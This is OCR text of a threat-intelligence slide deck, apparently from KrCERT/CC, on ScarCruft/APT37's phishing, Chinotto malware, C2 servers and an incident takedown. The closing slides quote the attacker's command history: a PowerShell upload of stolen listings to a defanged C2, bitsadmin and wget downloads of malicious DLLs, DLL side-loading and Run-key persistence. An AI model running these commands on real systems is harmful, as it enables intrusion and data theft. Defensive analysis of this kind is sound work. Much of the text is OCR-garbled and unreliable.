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Who are we?

Profound Analysis Team

Identify and respond to threats by analyzing cyber incidents
to minimize and prevent damage to cyber incidents
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What is ScarCruft ?

pSROWDSTRIE

aka:

Ricochet Chollimais a
Democtratic Peoples

Republic of Korea-nexus A PT 3 7 b G Yfou p 1 2 3

targeted intrusion . "
adversary that has beer Ricochet Chollima, Venusl1l21
INnvolved In espionage

operations since at least

2016. Observed

operations have almost

exclusively targeted the

Republic of Korea with a T a rg et .

noted focus on

Y government officials,

non-governmental

organizations, J ourna I iStS

academics, journalists,
ADVERSARY

Ricochet Chollima et s North Korean defectors

defectors.

® ®
Goverment Officials
North Korea ScarCruft, APT37, Group123, Reaper, Red

Eyes

malpedia.caad.fkie.fraunhofer.de/actor/apt37/




What is ScarCruft ?

ScarCruft Group
Threat Tracking & Defend Forward




Known T1TPs

21 ~ 22 2/4
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Known T1TPs

21 ~ 22 2/4

Phishing Mail
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\ Download Office Document

compromise host
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load Office Macro Script :
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Known T1TPs

21 ~ 22 2/4

United Nations

¢y General Assembly Dite: Geners
Vj‘?'ﬁv % October 202

Ongmal: Engish
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Phishing Mail

Decoy document
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Chin'otto
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E-mail Attachment link Click
&

Download Office Document

compromise hc

load Office Macro Script

r... - j

\ v

compromise hqum

Download Malicious Script

Command Control

r... 1
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compromise hc

Information Collection
& exfiltration

Command Description

ref: C20]| Aelf MY, http://[C2]?ref=id=[%s]&type=hello&direction=send

cmd:

down:

up:
state:

regstart: HX[AEE| 2t S5 2 Aut 200fY A2 L Al|
2|X| : HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Ru
2 0|&: a2McCq
2t HI0|E] :C:\\Users\\Public\\Documents\\[malware]

cleartemp: CSIDL_APPDATA

C:\\Users\\[USERNAME]\\AppData\\Roaming\\s5gRAEs70xTHkAdUjl_DY1fD 5}
o AFH|

YYo= SAE ClHE| Y5 Y
CSIDL_DESKTOP , CSIDL_PERSONAL , CSIDL_MYMUSIC,

CSIDL_MYVIDEO ,

OflAf Of2f md =% X Y=L
jpg|jpeg|png|gif|bmp|hwp|doc|docx|xls|xlsx|xlsm|ppt|pptx|pdf|txt|mp3|al
|[md4a|ogg|aac|jpg|jpeg|png|gif|bmp|hwp|doc|docx|xls|xlsx|xlsm|ppt|pptx]|p

| txt |mp3|amr |md4a|ogg|acc|av|wma|3gpp|eml|lnk|zip|rar|egg|alz|7z|vcf|3gp

UM A2 ZHAARIS] ATZIAE HO| &S £, YFXAWSAEAXee12D4 2 xorstdl
e_[10X2|Random str]2 I%* SAXS| C2AMH=Z MY

ShellExecuteW g2 Saff 0742 X|HE
U535}t =l DATA_BLOB®ZX

X2 gr2 ol CRZC xor C|2Y, 7|Z HX|AEZ|o

T YHXAEZ SE . 20t M U A

|X| : HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Rui
[ 0|5 : m4cVWKDsa9WxAWr41iaNGR

t H|O|E] : [_malware]
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Known T1TPs

21 ~ 22 2/4

http://{C2}/bbs/data /c)cc/proc.php — Infosteal

B e_urgt8ddGzL
B c_V6rinkRUB4
B e_VezecsmYmen
B e_vNV4zQbPiM
B e_VpRu3boHEV
B e_VR1hu4hohl
B e_WcOkAESw8n
B e_wCJcykB7wE
B e_WjMtticrpY
B e_xo0cs8cCucail
B e _XE5TPKy7DV
B e_xHgBBflI6BO
B c_xkWR3DGmgN 1137}2| &t=

B e_xOunaK34Ls 11370 2M - 2.56GB
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Known T1TPs

21 ~ 22 2/4

http://{C2}/bbs/daty/

Command & Control

DESKTOP-Name-first

«

P

Victim PC info

/price.php == Command & Control

PC-first
DESKTOP
DESKTOP
DESKTOP
DESKTOP
LAPTOP-
LAPTOP-
DESKTOP
DESKTOP
DESKTOP
DESKTOP
DESKTOP
LAPTOP-
LAPTOP-

PC-result

0B

A X{Ol
TEE

Qs 2% 3119
Qs 2 11:22
OfX| 2% 5:50
Ojx| 2= 5:50
Ojx| % 4:18
Olx| = 4:18
OfH| 27 11:44
x| 2% 11:44
2022. 4.
2022.
2022.
2022.
2022.
2022.
2022.
2022.
2022.
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add compromised host analysis
& unexposed TTPs




Compromising host analysis

[compromised host]/kcp/ctg/cat/hp/proc.php

B €_a-1ANWKXVU

? bin > = bat > B c_d-2kvNS6vr
M cfg 2 ™ cat ’ B c_d-c7giXgsV
BB sample > B dat >

B c_d-EguQ6hss
B c_d-fHBAtRsE

B e _d-GPZvxmsN
B e_d-hKzF2b3Ss
B e_d-TvgkkKhJ9
B c_d-u2mEPtss
B e _d-XhviTp7Q

B e _d-Yg3D4zUH
B e _d-ZzIU5SR;

B llog.dat

m proc.php

B site_conf_inc.php

L
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$WWAssociativeLinks
$WWKeywordLinks
| £IDXHDR

| #[TBITS

| #5TRINGS

| #SYSTEM

| #TOPICS

| #URLSTR

| 2URLTBL

| $FIftiMain

| $OBJINST
Start.htm|

| Table of Contents.hhc

R UM

n

n

Compromising host analysis

B Sy TS U N N B e T - oo TS Mo A B Mk - ol bt LA e el e B B TR

= L 5 % Opx; " >< src="https://res.mail.qq.com/zh CN/htmledition/images/1

logo sysmail O.gif" style="float: left;"></th></tr><tr>< style="height: 15px; Lline

>&Nbsp; </ td></Ttr><tr>< style="padding: © 18.5938px; ">« style="font-size: 14px;

Opx;">FRERIAP  </h2><p style="color: rgb(49, 49, 49); Line-height: 28px; marg
margin-bottom: 7/px; text-indent: 2em; text-align: justify; " >&nbsp;&nbsp;&nbsp;

2ERANDKEFRHBAHEZETE (< style="color: rgb(75, 136, 247);">xxxid@qq.con

KX, ATHRIFERARS, TIEXREMEERERIREN XABISThEERTE. </p><p style="color: rgbi

; Line-height: 28px; margin-top: 7px; margin-bottom: /px; text-indent: 2em; text
justify;">&nbsp;&nbsp;&nbsp; B R —HERTTHRAZTSRETHIKE BUSTHEE. </p></td></

DXPKhr><fp>

id=x classid="clsid:adb880ab-d8ff-11cf-9377-00aab03b/all” width=1 height=1>
name="Command” value="ShortCut™>

<
<
< name="Button” value="Bitmap::shortcut™>
<
<

name="Iteml"” value=" /win/shenti/1.html ,">

- ——

name="Itemz" value="275,1,1">

</ >
< >
x-Clirk{):
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Compromising host analysis

™ 000 > B) a.ini
b.ini
B) D_CDEG.ini
Phone.ini
second.ini




a.ini - UltraVNC setting file

b.ini - UltraVNC Server Property Page

4) a.ini X

1 [admin]

2 UseRegistry=0

: MSLogonRequired=0

4 NewMSLogon=0

; DebugMode=2

6 Avilog=0

7 path=D:\network\uvnc 1216 W32\xp
8 kickrdp=0

9 service commandline=
10 Debuglevel=10

11 DisableTraylcon=1

12 rdpmode=0

13 LoopbackOnly=0

14 UseDSMPlugin=0

195 Allowloopback=1

16 AuthRequired=1

17 ConnectPriority=90
DSMPlugin=No Plugin Detected
19 AuthHosts=

2  AllowShutdown=1

| AllowProperties=1
AllowEditClients=1
FileTransferEnabled=1

b
!

}

o NN NN
W N

(] Line 1, Column 1

Tab Size: 4

Compromising host analysis

UltraVNC Server Property Page

v Incoming Connections

Accept Socket Connections (® Do Nothing

Display Number or Ports to use:
(ODisplay N°©
(OPorts Main: 5900 (@) Auto
Http: 5300
B Enable JavaViewer (Http Connect)
‘ Allow Loopback Connections
[ ] LoopbackOnly L] method

Authentication

View-Only Password:  eeeesesee

| ]Require MS Logon (User /Pass./Domain)

- alala mAnrtc ¥ "nilae Aama

File Transfer
Enable

DSM Plugin

User impersonation (for Service only)

[ JUse: 'No Plugin detected...

Plain Text

Apply Cancel

() Logoff Workstation

Keyboard & Mouse

[ ] Disable Viewers inputs

[ ] Disable Local inputs
Alternate keyboard

When Last Client Disconnects Query on incoming connection

|| Display Query Window

'f:i' Lock Workstation (W2K) Timeout: 10 seconds

Default action: Refuse

Multi viewer connections

(® Disconnect all existing connections
() Keep existing connections

(O Refuse the new connection

(O Refuse all new connection

Misc.
[_|Remove Aero (Vista)

[:] Remove Wallpaper for Viewers
Enable Blank Monitor on Viewer Request
[ ] Disable Only Inputs on Blanking Request

[ ]RDPmode
[ ] DisableTrayIcon

[_]Forbid the user to dose down WinVNC
Default Server Screen Scale: 1/ |1

Logging
[ ] Log debug infos to the WinVNC.log file

KrCERT/CC
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Compromising host analysis

PDB Path:

EA\4.Work\PROJECT\windows\Plugin_CKUP\Plugin_CKUP\Release\Plugin_CKUP.pdb
EA\4.Work\PROJECT\windows\Plugin_CKU\Plugin_CKU\x64\Release\Plugin_CKU.pdb

Command (7|&) Description (7|&)
scap:

Command (tiZ) Description (81Z)

ckup: HYA AR ATBISE HO| ¢ , PEXdRUSBACXX3DADZ xors}1l
e_[10XI2|Random str]£ K& & SAXI| C2A4H=E HME &
c:\\user\\Public\\Key.ini 4d & 7|22 HE 7

[ S
\‘\‘. A ‘L‘ "'I
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Compromising host analysis

PDB Path :

EA\4.Work\PROJECT\windows\Plugin_Phone\Plugin_Phone\Release\Plugin_Phone.pdb

ProgramData » Phone

Alarms
Android
DCIM
Download
Movies
Music
Notifications
Pictures
Playlists
Podcasts
Ringtones

Samsung

rogramData Phone » Galaxy Note8 DCIM Camera

’
A (Y 4
NaTa

KISC
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Victim investigation




Victim investigation

Command Line:

"CAWINDOWS\system32\cmd.exe" /c " /transfer mmm
[compromised host]/xe/files/attach/images/555/[malware].dll c:\users\pubilc\libraries\evc.dll”

Path:
C\Windows\System32\cmd.exe

bitsadmin

OIE|& « 2022.09.22. « =0 32 ZZ! « 7|0{X}t 1Y £y m|cul

M A Windows Server 2022, Windows Server 2019, Windows Server 2016, Windows Server 2012 R2,
Windows Server 2012, Windows 10

Bitsadmin2 22 MM, CIR2
7,8

= Y=Cotal T ofehs HLEPsk= Ol AM8El= B E =7 YLICE bitsadmin =7
= 29IX[E AIESI0] Al HYS =)

Al 2 S & bitsadmin /? St7L} bitsadmin /help 7tN2 & A&
L|CF.
CHE 22| AQ|IX|0l= 2He| EA| Of E2 1RE LY}

S = GUIDE A3 OH7H 47t ZREHLICH < obs . XHRi0| HA| Of
XFO %

AELICE /create 2 /list AQ|X|= ZH4e| GUID

KrCERT/CC
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Victim investigation

Hijack Execution Flow: DLL Side-Loading

Other sub-techniques of Hijack Execution Flow (12)

Load DLL(Chinotto)

Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order {A} :

\, S

Hijacking, side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within msinfo32. exe

the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-

load their payloads by planting then invoking a legitimate application that executes their payload(s).

Load DLL(DLL Side-Loading) @

Side-loading takes advantage of the DLL search order used by the loader by positioning both the victim

application and malicious payload(s) alongside each other. Adversaries likely use side-loading as a means of evc.dll

masking actions they perform under a legitimate, trusted, and potentially elevated system or software process.
Benign executables used to side-load payloads may not be flagged during delivery and/or execution. Adversary {:C?_:}l

payloads may also be encrypted/packed or otherwise obfuscated until loaded into the memory of the trusted \ y
process.!"! mfc42u.dll

KrCERT/CC
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ATTACKTTP

Phishing Mail

E-mail Attachment link Click %%
& L )

Download Office Document

compromise host

load Office Macro Script

Decoy document %%

compromise host

Download Malicious Script

\ / Command Control

\ S

Information Collection
& exfiltration

\0. .01
\‘\‘. A ‘L‘ "'I
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& PowerShell
BITSAdmin
DLL Side-Loading

Decoy document

Phishing Mail

E-mail Attachment link Click %%
& L )

Download Office Document

compromise host

load Office Macro Script

compromise host

Download Malicious Script

y

Phone

\0. .01
\‘\‘. A ‘L‘ "'I
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Defend Forward




Defend Forward
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https://media.defense.gov/2018/Sep/18/2002041658/-1/-1/1/CYBER_STRATEGY_SUMMARY_FINAL.PDF

Defend Forward

Phishing Mail

E-mail Attachment link Click %%
& L )

Download Office Document

compromise host

load Office Macro Script

Decoy document %%

compromise host

Download Malicious Script

& PowerShell (= AN X )

BITSAdmin Ez:gl > R s s
DLESide-lloading ™ = L S0 L :

\ y \ J

Phone Chiriotto

\0. .01
\‘\‘. A ‘L‘ "'I
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Defend Forward

& PowerShell (= N PUBLISH SUBSCRIBE

BITSAdmin o~

DLL Side-Loading s O |-@— —O- @

\0. .01
\‘\‘. A ‘L‘ "'I
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Defend Forward

Ably key + Client Hello

4

abaaa s oae N

Command

e ——

v - PSP ar s

Command Result

e et - et e s ;*

4 Ab |y




Defend Forward

“~Ably

Get Attacker’'s Ably KEY
e e -
Client Hello | 1
Client Hello
. 2
— i
= Command S s
S ——
Command Result
Command Result
e — =
S
Identify victims and Incident Response

distribution site Takedown

\0. .01
AN

KrCERT/CC

N




Defend Forward

> whoami

> wmic logicaldisk get caption, size, freespace

> wmic nicconfig where IPEnabled=True get ipaddress

> wmic OS get Caption,CSDVersion,OSArchitecture, Version
> reg query hkcu\software\microsoft\windows\currentversion\run ﬁ g%i
> systeminfo /s %computername% | findstr /c:"Model:" /c:"Host Name" /c:"0OS Name"

Go lang malware based Command History

> dir /s c:\users\todo > c:\users\public\dirs-c.ini
> dir /s d: > c:\users\public\dirs-d.ini

> powershell (New-Object System.Net. WebClient).UploadFile("hxxp://

/xe/files/attach/images/555/uploadfile.php’, "'c:\users\public\dir-c.ini’)

> reg add HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v msinfos /d "C:\Users\Public\msinfo32.exe" /f

\

Chinotto
oM IAC MX| X|&d /X

/ jscript-powershell
// g3t dXx|

/ > mshta hxxp:// /data/3.htmi

g2+

"

> bitsadmin /transfer mmm hxxp:// [xe/files/attach/images/555/mfc42u-evc-win10.dll c:\users\public\mfc42u.dll
> bitsadmin /transfer mmm hxxp:// [xe/files/attach/images/555/CKUP_**** dll c:\users\public\libraries\evc.dl|

> copy c:\windows\syswowb64\msinfo32.exe c:\users\public\msinfo32.exe

> C:\Users\Public\msinfo32.exe

> powershell wget -uri hxxp:// /Data/000/CKUP_**** dll -outfile c:\users\public\libraries\evc.dll

myvnc

o3 E(x86) AX|

> bitsadmin /transfer mm hxxp://|
> bitsadmin /transfer mm hxxp://
c:\users\public\myvnc\mfc42u.dll
> c:\users\public\myvnc\msinfo32.exe

/xe/files/attach/images/555/myvnc.dll c:\users\public\myvnc\evc.dll
/xe/files/attach/images/555/mfc4 2u-myvnc-win10.dll

VNC

> bitsadmin /transfer mmm hxxp://

> bitsadmin /transfer mmm hxxp://
> bitsadmin /transfer mmm hxxp://

> C:\users\public\winvnc.exe

/xe/files/attach/images/555/b.ini c:\users\public\winvnc.exe
/xe/files/attach/images/555/a.ini c:\users\public\UltraVNC.ini
/xe/files/attach/images/555/b.ini c:\users\public\winvnc.exe

KrCERT/CC




Defend Forward




THANK YOU
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